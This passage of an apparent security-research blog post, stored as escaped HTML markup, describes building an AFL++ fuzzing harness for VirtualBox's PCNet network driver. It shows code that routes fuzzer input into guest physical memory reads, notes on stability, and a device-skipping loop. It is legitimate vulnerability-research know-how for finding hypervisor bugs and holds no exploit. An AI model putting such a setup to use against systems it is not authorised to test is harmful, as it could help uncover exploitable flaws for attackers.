    &lt;span class=&quot;n&quot;&gt;LogFlow&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;pdmR3DevHlp_PhysRead: caller='%s'/%d: GCPhys=%RGp pvBuf=%p cbRead=%#x&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
             &lt;span class=&quot;n&quot;&gt;pDevIns&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pReg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;szName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pDevIns&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;iInstance&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;GCPhys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pvBuf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cbRead&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;

    &lt;span class=&quot;cm&quot;&gt;/* Change this for the fuzzed driver */&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strcmp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pDevIns&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pReg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;szName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;pcnet&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;FuzzedDataProvider&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pfdp&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;FuzzedDataProvider&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pDevIns&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pReg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pfnGetFDP&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pDevIns&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pfdp&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pfdp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;remaining_bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cbRead&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;pfdp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ConsumeData&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pvBuf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cbRead&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;VINF_SUCCESS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;out/linux.amd64/release/bin/VBoxNetAdpCtl&lt;/code&gt;, we can add our network adapter and start fuzzing in &lt;a href=&quot;https://github.com/AFLplusplus/AFLplusplus/blob/stable/instrumentation/README.persistent_mode.md&quot;&gt;persistent mode&lt;/a&gt;. However, even when we can reach more than 10k executions per second, we still have some work to do about the stability.&lt;/p&gt;

&lt;h2 id=&quot;improving-stability&quot;&gt;Improving Stability&lt;/h2&gt;

&lt;p&gt;Unfortunately, none of these methods described &lt;a href=&quot;https://github.com/AFLplusplus/AFLplusplus/blob/stable/docs/best_practices.md#improving-stability&quot;&gt;here&lt;/a&gt; worked, as we were not able to use LTO instrumentation. We guess that’s because the device drivers module was dynamically loaded, therefore partially disabling instrumentation was not possible nor was possible to identify unstable edges. The instability is caused by not properly resetting the driver’s state, and because we are running the whole VM, there are many things under the hood which are not easy to influence, such as internal locks or VMM.&lt;/p&gt;

&lt;p&gt;One of the improvements is already contained in the harness, as we can discard the coverage before we start fuzzing and enable it only for a short fuzzing block.&lt;/p&gt;

&lt;p&gt;Additionally, we can disable the instantiation of all devices which we are not currently fuzzing. The relevant code is inside &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;src/VBox/VMM/VMMR3/PDMDevice.cpp&lt;/code&gt;, implementing the init completion routine through &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pdmR3DevInit&lt;/code&gt;. For the PCNet driver, at least the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pci&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VMMDev&lt;/code&gt;, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pcnet&lt;/code&gt; modules must be enabled. Therefore, we can skip the initialization for the rest.&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;    &lt;span class=&quot;cm&quot;&gt;/*
     *
     * Instantiate the devices.
     *
     */&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cDevs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;PDMDEVREGR3&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pReg&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;paDevs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pDev&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pReg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

        &lt;span class=&quot;c1&quot;&gt;// if (!strcmp(pReg-&amp;gt;szName, &quot;pci&quot;)) {continue;}&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strcmp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pReg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;szName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;ich9pci&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strcmp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pReg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;szName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;pcarch&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strcmp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pReg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;szName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;pcbios&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strcmp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pReg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;szName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;ioapic&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strcmp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pReg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;szName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;pckbd&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strcmp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pReg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;szName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;piix3ide&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strcmp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pReg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;szName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;i8254&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strcmp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pReg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;szName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;i8259&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strcmp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pReg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;szName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;hpet&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strcmp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pReg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;szName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;smc&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strcmp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pReg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;szName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;flash&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strcmp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pReg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;szName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;efi&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strcmp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pReg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;szName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;mc146818&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strcmp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pReg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;szName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;vga&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;// if (!strcmp(pReg-&amp;gt;szName, &quot;VMMDev&quot;)) {continue;}&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;// if (!strcmp(pReg-&amp;gt;szName, &quot;pcnet&quot;)) {continue;}&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strcmp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pReg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;szName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;e1000&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strcmp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pReg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;szName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;virtio-net&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;// if (!strcmp(pReg-&amp;gt;szName, &quot;IntNetIP&quot;)) {continue;}&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strcmp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pReg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;szName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;ichac97&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strcmp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pReg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;szName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;sb16&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strcmp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pReg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;szName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;hda&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strcmp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pReg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;szName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;usb-ohci&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strcmp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pReg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;szName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;acpi&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt;
